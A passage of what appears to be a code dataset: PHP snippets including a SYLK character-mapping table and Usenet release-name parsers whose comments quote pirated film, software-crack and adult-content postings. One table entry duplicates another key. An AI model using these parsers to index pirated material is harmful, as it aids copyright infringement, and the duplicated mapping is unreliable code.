\"properlynamed\" => false\n\t\t);\n\t}", "private static function buildSYLKCharacters()\n {\n self::$SYLKCharacters = array(\n \"\\x1B 0\" => chr(0),\n \"\\x1B 1\" => chr(1),\n \"\\x1B 2\" => chr(2),\n \"\\x1B 3\" => chr(3),\n \"\\x1B 4\" => chr(4),\n \"\\x1B 5\" => chr(5),\n \"\\x1B 6\" => chr(6),\n \"\\x1B 7\" => chr(7),\n \"\\x1B 8\" => chr(8),\n \"\\x1B 9\" => chr(9),\n \"\\x1B :\" => chr(10),\n \"\\x1B ;\" => chr(11),\n \"\\x1B <\" => chr(12),\n \"\\x1B :\" => chr(13),\n \"\\x1B >\" => chr(14),\n \"\\x1B ?\" => chr(15),\n \"\\x1B!0\" => chr(16),\n \"\\x1B!1\" => chr(17),\n \"\\x1B!2\" => chr(18),\n \"\\x1B!3\" => chr(19),\n \"\\x1B!4\" => chr(20),\n \"\\x1B!5\" => chr(21),\n \"\\x1B!6\" => chr(22),\n \"\\x1B!7\" => chr(23),\n \"\\x1B!8\" => chr(24),\n \"\\x1B!9\" => chr(25),\n \"\\x1B!:\" => chr(26),\n \"\\x1B!;\" => chr(27),\n \"\\x1B!<\" => chr(28),\n \"\\x1B!=\" => chr(29),\n \"\\x1B!>\" => chr(30),\n \"\\x1B!?\" => chr(31),\n \"\\x1B'?\" => chr(127),\n \"\\x1B(0\" => '€', // 128 in CP1252\n \"\\x1B(2\" => '‚', // 130 in CP1252\n \"\\x1B(3\" => 'ƒ', // 131 in CP1252\n \"\\x1B(4\" => '„', // 132 in CP1252\n \"\\x1B(5\" => '…', // 133 in CP1252\n \"\\x1B(6\" => '†', // 134 in CP1252\n \"\\x1B(7\" => '‡', // 135 in CP1252\n \"\\x1B(8\" => 'ˆ', // 136 in CP1252\n \"\\x1B(9\" => '‰', // 137 in CP1252\n \"\\x1B(:\" => 'Š', // 138 in CP1252\n \"\\x1B(;\" => '‹', // 139 in CP1252\n \"\\x1BNj\" => 'Œ', // 140 in CP1252\n \"\\x1B(>\" => 'Ž', // 142 in CP1252\n \"\\x1B)1\" => '‘', // 145 in CP1252\n \"\\x1B)2\" => '’', // 146 in CP1252\n \"\\x1B)3\" => '“', // 147 in CP1252\n \"\\x1B)4\" => '”', // 148 in CP1252\n \"\\x1B)5\" => '•', // 149 in CP1252\n \"\\x1B)6\" => '–', // 150 in CP1252\n \"\\x1B)7\" => '—', // 151 in CP1252\n \"\\x1B)8\" => '˜', // 152 in CP1252\n \"\\x1B)9\" => '™', // 153 in CP1252\n \"\\x1B):\" => 'š', // 154 in CP1252\n \"\\x1B);\" => '›', // 155 in CP1252\n \"\\x1BNz\" => 'œ', // 156 in CP1252\n \"\\x1B)>\" => 'ž', // 158 in CP1252\n \"\\x1B)?\" => 'Ÿ', // 159 in CP1252\n \"\\x1B*0\" => ' ', // 160 in CP1252\n \"\\x1BN!\" => '¡', // 161 in CP1252\n \"\\x1BN\\\"\" => '¢', // 162 in CP1252\n \"\\x1BN#\" => '£', // 163 in CP1252\n \"\\x1BN(\" => '¤', // 164 in CP1252\n \"\\x1BN%\" => '¥', // 165 in CP1252\n \"\\x1B*6\" => '¦', // 166 in CP1252\n \"\\x1BN'\" => '§', // 167 in CP1252\n \"\\x1BNH \" => '¨', // 168 in CP1252\n \"\\x1BNS\" => '©', // 169 in CP1252\n \"\\x1BNc\" => 'ª', // 170 in CP1252\n \"\\x1BN+\" => '«', // 171 in CP1252\n \"\\x1B*<\" => '¬', // 172 in CP1252\n \"\\x1B*=\" => '­', // 173 in CP1252\n \"\\x1BNR\" => '®', // 174 in CP1252\n \"\\x1B*?\" => '¯', // 175 in CP1252\n \"\\x1BN0\" => '°', // 176 in CP1252\n \"\\x1BN1\" => '±', // 177 in CP1252\n \"\\x1BN2\" => '²', // 178 in CP1252\n \"\\x1BN3\" => '³', // 179 in CP1252\n \"\\x1BNB \" => '´', // 180 in CP1252\n \"\\x1BN5\" => 'µ', // 181 in CP1252\n \"\\x1BN6\" => '¶', // 182 in CP1252\n \"\\x1BN7\" => '·', // 183 in CP1252\n \"\\x1B+8\" => '¸', // 184 in CP1252\n \"\\x1BNQ\" => '¹', // 185 in CP1252\n \"\\x1BNk\" => 'º', // 186 in CP1252\n \"\\x1BN;\" => '»', // 187 in CP1252\n \"\\x1BN<\" => '¼', // 188 in CP1252\n \"\\x1BN=\" => '½', // 189 in CP1252\n \"\\x1BN>\" => '¾', // 190 in CP1252\n \"\\x1BN?\" => '¿', // 191 in CP1252\n \"\\x1BNAA\" => 'À', // 192 in CP1252\n \"\\x1BNBA\" => 'Á', // 193 in CP1252\n \"\\x1BNCA\" => 'Â', // 194 in CP1252\n \"\\x1BNDA\" => 'Ã', // 195 in CP1252\n \"\\x1BNHA\" => 'Ä', // 196 in CP1252\n \"\\x1BNJA\" => 'Å', // 197 in CP1252\n \"\\x1BNa\" => 'Æ', // 198 in CP1252\n \"\\x1BNKC\" => 'Ç', // 199 in CP1252\n \"\\x1BNAE\" => 'È', // 200 in CP1252\n \"\\x1BNBE\" => 'É', // 201 in CP1252\n \"\\x1BNCE\" => 'Ê', // 202 in CP1252\n \"\\x1BNHE\" => 'Ë', // 203 in CP1252\n \"\\x1BNAI\" => 'Ì', // 204 in CP1252\n \"\\x1BNBI\" => 'Í', // 205 in CP1252\n \"\\x1BNCI\" => 'Î', // 206 in CP1252\n \"\\x1BNHI\" => 'Ï', // 207 in CP1252\n \"\\x1BNb\" => 'Ð', // 208 in CP1252\n \"\\x1BNDN\" => 'Ñ', // 209 in CP1252\n \"\\x1BNAO\" => 'Ò', // 210 in CP1252\n \"\\x1BNBO\" => 'Ó', // 211 in CP1252\n \"\\x1BNCO\" => 'Ô', // 212 in CP1252\n \"\\x1BNDO\" => 'Õ', // 213 in CP1252\n \"\\x1BNHO\" => 'Ö', // 214 in CP1252\n \"\\x1B-7\" => '×', // 215 in CP1252\n \"\\x1BNi\" => 'Ø', // 216 in CP1252\n \"\\x1BNAU\" => 'Ù', // 217 in CP1252\n \"\\x1BNBU\" => 'Ú', // 218 in CP1252\n \"\\x1BNCU\" => 'Û', // 219 in CP1252\n \"\\x1BNHU\" => 'Ü', // 220 in CP1252\n \"\\x1B-=\" => 'Ý', // 221 in CP1252\n \"\\x1BNl\" => 'Þ', // 222 in CP1252\n \"\\x1BN{\" => 'ß', // 223 in CP1252\n \"\\x1BNAa\" => 'à', // 224 in CP1252\n \"\\x1BNBa\" => 'á', // 225 in CP1252\n \"\\x1BNCa\" => 'â', // 226 in CP1252\n \"\\x1BNDa\" => 'ã', // 227 in CP1252\n \"\\x1BNHa\" => 'ä', // 228 in CP1252\n \"\\x1BNJa\" => 'å', // 229 in CP1252\n \"\\x1BNq\" => 'æ', // 230 in CP1252\n \"\\x1BNKc\" => 'ç', // 231 in CP1252\n \"\\x1BNAe\" => 'è', // 232 in CP1252\n \"\\x1BNBe\" => 'é', // 233 in CP1252\n \"\\x1BNCe\" => 'ê', // 234 in CP1252\n \"\\x1BNHe\" => 'ë', // 235 in CP1252\n \"\\x1BNAi\" => 'ì', // 236 in CP1252\n \"\\x1BNBi\" => 'í', // 237 in CP1252\n \"\\x1BNCi\" => 'î', // 238 in CP1252\n \"\\x1BNHi\" => 'ï', // 239 in CP1252\n \"\\x1BNs\" => 'ð', // 240 in CP1252\n \"\\x1BNDn\" => 'ñ', // 241 in CP1252\n \"\\x1BNAo\" => 'ò', // 242 in CP1252\n \"\\x1BNBo\" => 'ó', // 243 in CP1252\n \"\\x1BNCo\" => 'ô', // 244 in CP1252\n \"\\x1BNDo\" => 'õ', // 245 in CP1252\n \"\\x1BNHo\" => 'ö', // 246 in CP1252\n \"\\x1B/7\" => '÷', // 247 in CP1252\n \"\\x1BNy\" => 'ø', // 248 in CP1252\n \"\\x1BNAu\" => 'ù', // 249 in CP1252\n \"\\x1BNBu\" => 'ú', // 250 in CP1252\n \"\\x1BNCu\" => 'û', // 251 in CP1252\n \"\\x1BNHu\" => 'ü', // 252 in CP1252\n \"\\x1B/=\" => 'ý', // 253 in CP1252\n \"\\x1BN|\" => 'þ', // 254 in CP1252\n \"\\x1BNHy\" => 'ÿ', // 255 in CP1252\n );\n }", "public function cores()\n\t{\n\t\t//Film - \"Phone.booth.2003.RERIP.Bluray.1080p.DTS-HD.x264-Grym.part001.rar\" yEnc\n\t\tif (preg_match('/^Film - (\\[\\d+\\/\\d+\\] - )?\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //[Art-Of-Use.Net] :: [AUTO] :: - [34/36] - \"ImmoralLive.13.11.10.Immoral.Orgies.Rikki.Six.Carmen.Callaway.And.Amanda.Tate.XXX.1080p.MP4-KTR.vol15+16.par2\" yEnc\n\t\tif (preg_match('/^\\[Art-Of-Use\\.Net\\] :: \\[.+?\\] :: - \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //brothers-of-usenet.info.net Partner von---- SSL-News.info----- brothers-of-usenet.info.net Partner von---- SSL-News.info-----AVG.Internet.Security.2014.Build.4335.x86.x64 - \"AVG.Internet.Security.2014.Build.4335.vol00+01.PAR2\" - 315,68 MB - yEnc\n\t\tif (preg_match('/^brothers-of-usenet\\.info\\.net.+SSL-News\\.info-----(.+) - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //>GOU<< ZDF.History.Das.Geiseldrama.von.Gladbeck.GERMAN.DOKU.720p.HDTV.x264-TVP >>www.SSL-News.info< - (02/35) - \"tvp-gladbeck-720p.nfo\" yEnc\n\t\tif (preg_match('/^>+GOU<+ (.+?) >+www\\..+?<+ - \\(\\d+\\/\\d+\\) - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<usenet-space-cowboys.info>>> USC <<<Powered by https://secretusenet.com>>> [22/26] - \"Zombie.Tycoon.2.Brainhovs.Revenge-SKIDROW.vol00+1.par2\" - 1,85 GB yEnc\n\t\tif (preg_match('/^<<<usenet-space-cowboys\\.info.+secretusenet\\.com>>> \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //::: Usejunkies.tk ::: - [01/11] - \"DJ Shog - DNA - HD 720p.par2\" - 47,76 MB yEnc\n\t\tif (preg_match('/^.+Usejunkies.tk.+ \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(5/9) :...Usejunkies.tk...:----\"Leawo.Blu-ray.Ripper.v4.4.0.rar.vol003+04.par2\" - 30.94 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\).+Usejunkies.tk.+\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Grimms03e10) [6/9] - \"Grimm_S03E10_Eyes_of_the_Beholder.avi.vol007+08.PAR2\"Grimm S03E10 yEnc\n\t\tif (preg_match('/^\\(.+s\\d+e\\d+\\) \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Jipejans post voor u op www.Dreamplace.biz - [010/568] - \"Alien-Antology-DC-Special-Edition-1979-1997-1080p-GER-HUN-HighCode.part009.rar\" yEnc\n\t\t//Egbert47 post voor u op www.nzbworld.me - [01/21] - \"100 Hits - Lady Sings The Blues 2006 (5cd's).par2\" yEnc\n\t\tif (preg_match('/^[a-zA-Z0-9]+ post voor u op www\\..+? - \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //>>> usenet4ever.info <<<+>>> secretusenet.com <<< \"Weltnaturerbe USA Grand Canyon Nationalpark 2012 3D Blu-ray untouched - DarKneSS.part039.rar\" - DarKneSS yEnc\n\t\tif (preg_match('/^>+ .+?\\.info [<>+]+ .+?\\.com <+ \"(.+?)\\s+- .*?' . $this->e0 .\n\t\t\t\t\t ' - .+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Old Dad uppt Der gro?e Gatsby BD Rip AC3 Line XvidD German 01/57] - \"Der gro?e Gatsby.par2\" yEnc\n\t\tif (preg_match('/^Old\\s+Dad\\s+uppt?\\s*?(.+?)( mp4| )?\\[?\\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn preg_replace('/\\s\\s+/', ' ', $match[1]);\n\t\t}\n\t\t//panter - [46/60] - \"68645-Busty Beauties Car Wash XXX 3D BD26.part45.rar\" yEnc\n\t\t//Wildrose - [01/57] - \"49567-Kleine Rode Tractor Buitenpret.par2\" yEnc\n\t\tif (preg_match('/^[A-Za-z]+ - \\[\\d+\\/\\d+\\] - \"\\d+-(.+?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<kere.ws> - FLAC - 1330543524 - Keziah_Jones-Femiliarise-PROMO_CDS-FLAC-2003-oNePiEcE - [01/11] - \"00-keziah_jones-femiliarise-promo_cds-flac-2003-1.jpg\" yEnc\n\t\tif (preg_match('/^<kere\\.ws>[ _-]{0,3}\\w+(-\\w+)?[ _-]{0,3}\\d+[ _-]{0,3}(.+) - \\[\\d+\\/\\d+\\][ _-]{0,3}(\"|#34;).+?(\"|#34;) yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //Doobz Europa_Universalis_IV_Conquest_of_Paradise-FLT [10/54] - \"flt-eucp.001\" yEnc\n\t\tif (preg_match('/^Doobz ([a-zA-z-_]+) \\[\\d+\\/(\\d+\\]) - \".+' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(aangemeld bij usenet collector) [001/125] - \"Northern_Exposure_Season_1_dvd_1.par2\" yEnc\n\t\tif (preg_match('/^\\(aangemeld bij usenet collector\\) \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[15/16] - \"Person.of.Interest.S03E09.480p.HDTV.x264-mSD.vol0+1.par2\" - 177,28 MB <-> usenet-space-cowboys.info <-> powered by secretusenet.com <-> yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[.,]\\d+ [kKmMgG][bB] .+usenet-space-cowboys\\.info.+ yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //brothers-of-usenet.info&net-empfehlen-ssl-news.info Black Mirror s01e01 - Der wille des volkes - [09/15] - \"Black Mirror - S01E01 - Der Wille des Volkes.vol00+01.par2\" yEnc\n\t\tif (preg_match('/^brothers-of-usenet\\.info.+ - \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(024/264) \"Enf.S04E02.G.D.H.X-M.vol51+46.PAR2\" - 8,27 GB -Enf.S04.G.D.H.X yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[.,]\\d+ [kKmMgG][bB] .+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[01/10] - \"Wondershare.Video.Converter.Ultimate.v6.7.1.0.Multilanguage.par2\" - 45,44 MB yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t '.+yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"8 Wenn ich einmal gross bin .mp3\" Koelschefetz postet.Die Filue -Immer Wigger yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Adobe Photoshop Lightroom v5.2 - FiNaL - Multilingual [WIN].vol037+32.PAR2 yEnc\n\t\tif (preg_match('/^(.+?)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) {0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "static function before(){\n\t\t$text = \"\n\t\t\\n== Background == \n\t\tThis databrowser queries data from this paper. <ref name='PMID:########'/>\n\t\t\n\t\t\\n== References ==\n\t\t<references/>\n\t\t\t\n\t\t\\n== Search ==\n\t\t\";\n\treturn $text;\n\t}", "function install_org_lucterios_updates($ExensionVersions) {\n\t$text = \"\";\n\treturn $text;\n}", "public function mp3()\n\t{\n\t\tif (preg_match('/\"([\\w. -]{8,})\"[-_\\s]{0,3}[\\(\\[]\\d+\\/(\\d+[\\)\\]])[-_\\s]{0,3}\".+' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//( Albert Cummings Albums 6x By Dready Niek (1999-2012) ) ( ** By Dready Niek ** ) [11/20] - \"Albert Cummings Albums 6x By Dready Niek (1999-2012).part10.rar\" yEnc\n\t\t//( Fat Freddy's Drop - Blackbird (2013) -- By Dready Niek ) -- By Dready Niek ) [01/15] - \"Fat Freddy's Drop - Blackbird (2013) -- By Dready Niek.par2\" yEnc\n\t\tif (preg_match('/\\( ([\\w. -]{8,}) \\)[-_\\s]{0,3}( |\\().+\\)[-_\\s]{0,3}[\\(\\[]\\d+\\/(\\d+[\\)\\]])[-_\\s]{0,3}\".+(\\.part\\d*|\\.rar)?(\\.vol.+ \\(\\d+\\/\\d+\\) \"|\\.[A-Za-z0-9]{2,4}\").+?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<Old but Sold>>> <<< >< >< \"German Top 50 ODC - 12.08.2013.nfo\" >< 02/33 (541,61 MB) >< 10,93 kB > yEnc\n\t\tif (preg_match('/^.+Old but Sold.+>< \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' >< \\d+\\/\\d+ \\(\\d+[.,]\\d+ [kKmMgG][bB]\\).+ yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Musikjunkie-The.Voice.Of.Germany.2013.The.Best.of.Liveshows.4.CD.Box.Set.VBR [15/28]\"voice.part13.rar\" yEnc\n\t\tif (preg_match('/^Musikjunkie-([\\w. -]{8,})[-_\\s]{0,3}\\[\\d+\\/\\d+\\]\".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Metallica - Ride The Lightning \"01 - Fight Fire With Fire.mp3\" yEnc\n\t\tif (preg_match('/^([\\w. -]{8,})[-_\\s]{0,3}(\"|#34;)(.+?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //::: Usejunkies.tk ::: - [08/11] - \"DJ Shog - DNA - HD 720p.vol00+1.par2\" - 47,76 MB yEnc\n\t\tif (preg_match('/^.+Usejunkies\\.tk.+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"AnyDVD 7.0.0.0.rar\" poc yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t '[-_\\s]{0,3}poc[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"A Produce & Loren Nerell - Intangible.nzb\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(01/12) \"Sunfly Hits April (2013) SF326 [Skytwohigh].par2\" - 109.59 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(01/15) - Description - \"Goldene Schlager - Erinnerungen Folge 3.par2\" - 126,08 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[-_\\s]{0,3}Description[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Musica - House&Dance - mix 1 - april 2014 1) [00/45] - \"Musica - House&Dance mix 1 april.nzb\" yEnc\n\t\tif (preg_match('/^\\(([^.]{8,})\\) \\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+?' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[04/17] - \"Schlager.am.laufenden.Band.-.Vol.13.part02.rar\" - 622,46 MB yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"Karate Andi - Pilsator Platin 2014.nfo.nfo Karate Andi - Pilsator Platin 2014 by PsyDealer yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar|\\.7z)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) [\\w.,& ()\\[\\]\\'\\`-]{8,}?\\b.?( by )?PsyDealer yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [089/100] - \"090-florence_and_the_machine_-_spectrum_(say_my_name)_(calvin_harris_edit).mp3 Top 100 Single Charts 13.05.2013\" yEnc\n\t\tif (preg_match('/^\\(\\?+\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"[\\w.,& ()\\[\\]\\'\\`-]{8,}?\\b.?\\.[A-Za-z0-9]{2,4} (Top \\d+ Single Charts \\d+\\.\\d+\\.\\d+)\"[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [02/26] - \"8Cursed.rar\" yEnc\n\t\tif (preg_match('/^\\(\\?+\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [00/34] - \"The Official UK Top 40 Singles Chart 15-06-2014.nzb\"otfINWnjfg7856fghj yEnc\n\t\tif (preg_match('/^\\(\\?+\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '\\w+[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(01/24) VA - Now Thats What I Call Disco 2013 - \"VA - Now Thats What I Call Disco 2013.7z.001\" - 487.23 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) ([\\w.,& ()\\[\\]\\'\\`-]{8,}?)[-_\\s]{0,3}\"[\\w.,& ()\\[\\]\\'\\`-]{8,}?\\b.?' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(102400) [06/13] - \"Time Life - The Teen Years.part05.rar\" yEnc\n\t\tif (preg_match('/^\\(102400\\) \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(18 Gouden Piraten Hits Deel 2 [03/11] - \"18 Gouden Piraten Hits Deel 2.part2.rar\" yEnc\n\t\tif (preg_match('/^\\([\\w.,& ()\\[\\]\\'\\`-]{8,} \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Amigos - Ihre Lieblingshits - Folge 2 - 2013 - by Taekwondo145)[00/62] - \"Amigos - Ihre Lieblingshits - Folge 2 - 2013.nzb\" yEnc\n\t\tif (preg_match('/^\\([\\w.,& 